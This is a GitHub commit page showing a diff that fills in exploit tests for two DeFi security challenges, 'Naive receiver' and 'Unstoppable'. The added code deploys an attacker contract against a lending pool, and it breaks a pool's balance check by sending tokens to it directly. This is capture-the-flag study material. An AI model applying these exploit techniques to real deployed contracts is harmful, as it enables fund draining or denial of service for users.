Skip to content

Commit

Permalink
feat: theredguild#1 & theredguild#2 solved
Browse files Browse the repository at this point in the history
  • Loading branch information
redace85 committed Jul 7, 2022
1 parent 3e2a367 commit bc86835
Show file tree
Hide file tree
Showing 2 changed files with 10 additions and 0 deletions.
7 changes: 7 additions & 0 deletions test/naive-receiver/naive-receiver.challenge.js
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,13 @@ describe('[Challenge] Naive receiver', function () {

it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const AttackerFactory = await ethers.getContractFactory('NaiveReceiverAttacker', attacker);
const attc = await AttackerFactory.deploy(this.pool.address, this.receiver.address);

const tx = await attc.launch(10);
const rec = await tx.wait();
expect(rec.status).to.be.equal(1);
// console.log(rec);
});

after(async function () {
Expand Down
3 changes: 3 additions & 0 deletions test/unstoppable/unstoppable.challenge.js
Original file line number Diff line number Diff line change
Expand Up @@ -40,6 +40,9 @@ describe('[Challenge] Unstoppable', function () {

it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
/** the pool got a strange assert, make it failed by sending the pool somme token */
const tenToken = ethers.utils.parseEther('10');
await this.token.connect(attacker).transfer(this.pool.address, tenToken);
});

after(async function () {
Expand Down

0 comments on commit bc86835

Please sign in to comment.